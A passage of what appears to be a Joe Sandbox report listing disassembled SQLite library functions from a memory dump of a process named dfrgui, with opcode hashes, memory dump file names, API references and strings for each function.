Instruction ID: 713113ab1f8dcbd7a2d66ba07bc89f046649da5e34a4f39ebb40b895256f4a46
Opcode Fuzzy Hash: fe99dd488f8f8ad2b92952aec82dc289e8aab1b40138442d98c3cb0b9c02f0ee
Instruction Fuzzy Hash: F7012875A0421D9BCF00CE4AD8916EEB7B5FB88364F64812AF91497341D235E9228BA4

Uniqueness

Uniqueness Score: -1.00%

Function 61E256E8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf6c1bb4fe10067c7b947e7ee6005aa7af93a2e5c9633f12df9dfde0985a9788
Instruction ID: 9cf38ed2faa6a2a49386cd8a6a90a656a6e624b1bf6a3f2341f4173cae871ab4
Opcode Fuzzy Hash: cf6c1bb4fe10067c7b947e7ee6005aa7af93a2e5c9633f12df9dfde0985a9788
Instruction Fuzzy Hash: 0FF03075648219DBDB04CE09E4A06DA77E8FB09374F20C12AFC1547344C671E951CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 61E14411 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b401c3ba557441c53ca790dc11246036f0063ce4e6feaca526ad345b53246fed
Instruction ID: c37322e30e8c9fe387c8a114e6781206eb98bf37d37bb6a7f409904599d50f3b
Opcode Fuzzy Hash: b401c3ba557441c53ca790dc11246036f0063ce4e6feaca526ad345b53246fed
Instruction Fuzzy Hash: 25E012763493095FBB40CD99ACC0A26779AFB8812CF74C136ED588B305D632DC164250

Uniqueness

Uniqueness Score: -1.00%

Function 61E257C3 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41ed7868823feecbe9f7a8037c94bafbb7f30954735038eee146dcf54c940b3
Instruction ID: 25dfb324ada9b8d827261d8fc1d4b912609f3f6c075dd91ee7180dde6dfeef46
Opcode Fuzzy Hash: e41ed7868823feecbe9f7a8037c94bafbb7f30954735038eee146dcf54c940b3
Instruction Fuzzy Hash: 71D048B860530DABDB00CF0AD8C599ABBA8FB08264F50C11AED184B301C371EA608AA0

Uniqueness

Uniqueness Score: -1.00%

Function 61E2572F Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cd79c278022c2af276d7ad662afd0b40ecf5fd40577ade0c20f6c2bf6da0c7d
Instruction ID: c2bcc24d9a6a2a204a5e4335206f5f78de9ae970b412e7a113f8aaa7a3a88beb
Opcode Fuzzy Hash: 0cd79c278022c2af276d7ad662afd0b40ecf5fd40577ade0c20f6c2bf6da0c7d
Instruction Fuzzy Hash: 0ED042B450530DABDB00CF05D8C099ABBA4FB08364F50C119ED1847301C371E9608AA0

Uniqueness

Uniqueness Score: -1.00%

Function 61E03463 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb4f879bfcccb7522fd65f63dedd66a79283a715b4d7212bc3d3df4af4cd11f5
Instruction ID: 6b8630985ffb5f77c01c6e3b806b608482e538d18b38cbb61d7f295c408b3314
Opcode Fuzzy Hash: cb4f879bfcccb7522fd65f63dedd66a79283a715b4d7212bc3d3df4af4cd11f5
Instruction Fuzzy Hash: 8FC012302582088BEB40CAAEE480A6337E8BB08A24F10C064E848CB350DA30F8508680

Uniqueness

Uniqueness Score: -1.00%

Function 61E03451 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40cad0428ba2cec2f3835856280400d4fd42dbc754fd2a6d6e7cded720f8f0bd
Instruction ID: fb05888133f16e5b8e537a9cdaa5165041bf743facb95d40ab125013c9ba032c
Opcode Fuzzy Hash: 40cad0428ba2cec2f3835856280400d4fd42dbc754fd2a6d6e7cded720f8f0bd
Instruction Fuzzy Hash: 8EB0922461421A8A6B08CE989480A7777AEBB88E05B29C465AD1C8AA05E731E89192C1

Uniqueness

Uniqueness Score: -1.00%

Function 61E0337A Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f2384b3b752d3915b0886f45dcb5b5ae2c3673fd6f6a42dd7d82e2120c80962
Instruction ID: d3f995c7ed1863e227637fada27606a3e1c89b9f632761dd9b80a54edcbf0309
Opcode Fuzzy Hash: 0f2384b3b752d3915b0886f45dcb5b5ae2c3673fd6f6a42dd7d82e2120c80962
Instruction Fuzzy Hash: EAB0123B11030CCB4700DA0DD441CC1B3D8F708E127C54098E40487711D669FC40C685

Uniqueness

Uniqueness Score: -1.00%

Function 61E330D4 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 244COMMON

Download Yara Rule

APIs

sqlite3_str_appendall.SQLITE3 ref: 61E331B7
sqlite3_str_appendf.SQLITE3 ref: 61E331F5
sqlite3_str_appendf.SQLITE3 ref: 61E33220
sqlite3_str_append.SQLITE3 ref: 61E33380
sqlite3_str_appendf.SQLITE3 ref: 61E33398
sqlite3_str_append.SQLITE3 ref: 61E333D7
sqlite3_str_append.SQLITE3 ref: 61E33453
sqlite3_str_appendf.SQLITE3 ref: 61E33488
sqlite3_str_append.SQLITE3 ref: 61E33504

Strings

PRIMARY KEY, xrefs: 61E3335C
INDEX %s, xrefs: 61E33285
<expr>, xrefs: 61E3340C
SCAN, xrefs: 61E33177
d, xrefs: 61E3315A
COVERING INDEX %s, xrefs: 61E3328A
SEARCH, xrefs: 61E331AB
AUTOMATIC PARTIAL COVERING INDEX, xrefs: 61E33266
ANY(%s), xrefs: 61E3346A
%s=?, xrefs: 61E3346F
AUTOMATIC COVERING INDEX, xrefs: 61E33277
rowid, xrefs: 61E33419
>? AND rowid<, xrefs: 61E332C1
0, xrefs: 61E332BA

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_str_appendsqlite3_str_appendf$sqlite3_str_appendall
String ID: %s=?$0$<expr>$>? AND rowid<$ANY(%s)$AUTOMATIC COVERING INDEX$AUTOMATIC PARTIAL COVERING INDEX$COVERING INDEX %s$INDEX %s$PRIMARY KEY$SCAN$SEARCH$d$rowid
API String ID: 3937484358-3012697695
Opcode ID: 194c141a75ac7c12ee9fb2557d25dc107d81505afb5aa22f27cce3f01245e96f
Instruction ID: 29a9a076f04a100d4bbb23cab92074773634cc63b7ba0464e235d5b62a14debf
Opcode Fuzzy Hash: 194c141a75ac7c12ee9fb2557d25dc107d81505afb5aa22f27cce3f01245e96f
Instruction Fuzzy Hash: CFC118B4A087648BDB14DF24C981B9ABBF1AF89308F21C8ADD8989B351D775D981CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E3E3A1 Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 209COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E3E413
sqlite3_snprintf.SQLITE3 ref: 61E3E444

Part of subcall function 61E229CA: sqlite3_vsnprintf.SQLITE3 ref: 61E229EB

sqlite3_free.SQLITE3 ref: 61E3E588
sqlite3_free.SQLITE3 ref: 61E3E5C5
sqlite3_free.SQLITE3 ref: 61E3E600
sqlite3_snprintf.SQLITE3 ref: 61E3E632
sqlite3_randomness.SQLITE3 ref: 61E3E64E

Strings

winGetTempname1, xrefs: 61E3E427
winGetTempname4, xrefs: 61E3E5D9
winGetTempname2, xrefs: 61E3E4B3
winGetTempname5, xrefs: 61E3E614
winGetTempname3, xrefs: 61E3E544
etilqs_, xrefs: 61E3E3A9, 61E3E621

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_snprintf$sqlite3_randomnesssqlite3_vsnprintf
String ID: etilqs_$winGetTempname1$winGetTempname2$winGetTempname3$winGetTempname4$winGetTempname5
API String ID: 3041771859-3409217566
Opcode ID: a266bb4901acd456ed87a040cdad1e71806653baa3e52d580abd4b5374e01830
Instruction ID: ff77f28c386f8801ab57ef9aec9ca8bf3c118af290d36e5f79a993485cf82fb1
Opcode Fuzzy Hash: a266bb4901acd456ed87a040cdad1e71806653baa3e52d580abd4b5374e01830
Instruction Fuzzy Hash: BC8172B0608B56DBD7109F7AC49126EBBE1AFC9348F25C82DD4948B391E734CC42DB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E22F5B Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E23008
sqlite3_win32_is_nt.SQLITE3 ref: 61E23027
sqlite3_free.SQLITE3 ref: 61E2307A
sqlite3_free.SQLITE3 ref: 61E23072

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_free.SQLITE3 ref: 61E23099
sqlite3_free.SQLITE3 ref: 61E230D5
sqlite3_free.SQLITE3 ref: 61E2310C
sqlite3_free.SQLITE3 ref: 61E23173
sqlite3_free.SQLITE3 ref: 61E2318C
sqlite3_snprintf.SQLITE3 ref: 61E231C1
sqlite3_free.SQLITE3 ref: 61E231C9
sqlite3_snprintf.SQLITE3 ref: 61E23203

Strings

winFullPathname1, xrefs: 61E2301D
winFullPathname4, xrefs: 61E2315B
\, xrefs: 61E231DE
winFullPathname3, xrefs: 61E230EA
winFullPathname2, xrefs: 61E2308F

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_snprintf$sqlite3_mutex_entersqlite3_win32_is_nt
String ID: \$winFullPathname1$winFullPathname2$winFullPathname3$winFullPathname4
API String ID: 3752053736-2111127023
Opcode ID: efe8f659b37b31e3f986115abc2288d25001c83e9af795a0e660f00ca44b962c
Instruction ID: 14d8b0f95f25926a0d043882a74c8c4729f184b26d5af2be3f8631151583d680
Opcode Fuzzy Hash: efe8f659b37b31e3f986115abc2288d25001c83e9af795a0e660f00ca44b962c
Instruction Fuzzy Hash: 0A7129B0A486498FD701EF69C49565EBBF1FF89348F24C82DE8998B351D738C8858F52

Uniqueness

Uniqueness Score: -1.00%

Function 61E3AF88 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 284COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E3AF9A
sqlite3_mprintf.SQLITE3 ref: 61E3AFDA
sqlite3_mprintf.SQLITE3 ref: 61E3B02F
sqlite3_free.SQLITE3 ref: 61E3B052
sqlite3_malloc64.SQLITE3 ref: 61E3B08D
sqlite3_snprintf.SQLITE3 ref: 61E3B0C4
sqlite3_malloc64.SQLITE3 ref: 61E3B119
sqlite3_strnicmp.SQLITE3 ref: 61E3B16B
sqlite3_malloc64.SQLITE3 ref: 61E3B203
sqlite3_snprintf.SQLITE3 ref: 61E3B236
sqlite3_free.SQLITE3 ref: 61E3B25D
sqlite3_free.SQLITE3 ref: 61E3B26D
sqlite3_mprintf.SQLITE3 ref: 61E3B2B1
sqlite3_free.SQLITE3 ref: 61E3B2C1
sqlite3_mutex_leave.SQLITE3 ref: 61E3B358

Strings

sqlite3_extension_init, xrefs: 61E3AFF2
te3_, xrefs: 61E3B13E
., xrefs: 61E3B18F

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_malloc64sqlite3_mprintf$sqlite3_snprintf$sqlite3_mutex_entersqlite3_mutex_leavesqlite3_strnicmp
String ID: .$sqlite3_extension_init$te3_
API String ID: 2803375525-613441610
Opcode ID: 3a3c4c572bb3daaccfaf72249e9f29d91946aa2bbec36b597ffda1571a183cb8
Instruction ID: e2d94b7ac520e25f221ce0f0cb60013fc445c72f2a544f13005bab7d71078193
Opcode Fuzzy Hash: 3a3c4c572bb3daaccfaf72249e9f29d91946aa2bbec36b597ffda1571a183cb8
Instruction Fuzzy Hash: 5BC1F4B4A0475A9FDB00DFA8C480A9EBBF1BF88354F24C56EE8999B350D774D881CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E280B4 Relevance: 28.6, APIs: 19, Instructions: 132COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 61E280CE
sqlite3_value_numeric_type.SQLITE3 ref: 61E280DA
sqlite3_value_int.SQLITE3 ref: 61E280E7
sqlite3_stricmp.SQLITE3 ref: 61E2810F
sqlite3_value_numeric_type.SQLITE3 ref: 61E2811B
sqlite3_value_int.SQLITE3 ref: 61E2812A
sqlite3_stricmp.SQLITE3 ref: 61E2814A
sqlite3_value_numeric_type.SQLITE3 ref: 61E28156
sqlite3_value_int.SQLITE3 ref: 61E28165
sqlite3_stricmp.SQLITE3 ref: 61E28191
sqlite3_value_numeric_type.SQLITE3 ref: 61E2819D
sqlite3_value_int.SQLITE3 ref: 61E281AB

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmpsqlite3_value_intsqlite3_value_numeric_type
String ID:
API String ID: 2723203140-0
Opcode ID: 5740e0072960829592580233cdb2733f1eb5cdb6f53a50d6c9ff0e9792dbce64
Instruction ID: 1f9a098080fa2857a0d5a9f5a029f5e61dd80e25b5b223aa03835b4c06656af9
Opcode Fuzzy Hash: 5740e0072960829592580233cdb2733f1eb5cdb6f53a50d6c9ff0e9792dbce64
Instruction Fuzzy Hash: D0412EB1508B468BC704AFA58591A6EBBF4BFC6748F30CD2DC8968B340E734D452AB41

Uniqueness

Uniqueness Score: -1.00%

Function 61E3AAE5 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E3AB33
sqlite3_malloc64.SQLITE3 ref: 61E3AB67
memcmp.MSVCRT ref: 61E3ABD6
memcmp.MSVCRT ref: 61E3AD9B
memcmp.MSVCRT ref: 61E3ADE8
sqlite3_mprintf.SQLITE3 ref: 61E3AE0F
memcmp.MSVCRT ref: 61E3AE4C
memcmp.MSVCRT ref: 61E3AE80
sqlite3_mprintf.SQLITE3 ref: 61E3AECC
sqlite3_malloc64.SQLITE3 ref: 61E3AEFA
sqlite3_vfs_find.SQLITE3 ref: 61E3AF31
sqlite3_mprintf.SQLITE3 ref: 61E3AF4D
sqlite3_free.SQLITE3 ref: 61E3AF62

Strings

cache, xrefs: 61E3AE79, 61E3AE97
access, xrefs: 61E3ADB2
@, xrefs: 61E3AB02

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_mprintf$sqlite3_malloc64$sqlite3_freesqlite3_vfs_find
String ID: @$access$cache
API String ID: 1538829708-1361544076
Opcode ID: c997ab8056be13ec9e78a7960e25e392d623d091625248bde7e05fd561fc6fc1
Instruction ID: e418883ed0f11a8ff762c8bb32e17444d80cf029073bf746b3e0dc95d7e38367
Opcode Fuzzy Hash: c997ab8056be13ec9e78a7960e25e392d623d091625248bde7e05fd561fc6fc1
Instruction Fuzzy Hash: F3D15B709883658BDF15CFA9C48039ABBF2ABC9318F64C85DD895DB361D335D881CB61

Uniqueness

Uniqueness Score: -1.00%

Function 61E3EAC6 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 330COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E3EB13

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_snprintf.SQLITE3 ref: 61E3EB3F
sqlite3_mutex_enter.SQLITE3 ref: 61E3EB4C
sqlite3_mutex_alloc.SQLITE3 ref: 61E3EBA2
sqlite3_uri_boolean.SQLITE3 ref: 61E3EBCA
sqlite3_free.SQLITE3 ref: 61E3EC5F
sqlite3_mutex_enter.SQLITE3 ref: 61E3EC7E
sqlite3_mutex_leave.SQLITE3 ref: 61E3EECF

Strings

winShmMap2, xrefs: 61E3ED4E
winShmMap1, xrefs: 61E3ECDE
winShmMap3, xrefs: 61E3EDFD
winOpenShm, xrefs: 61E3EC24

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
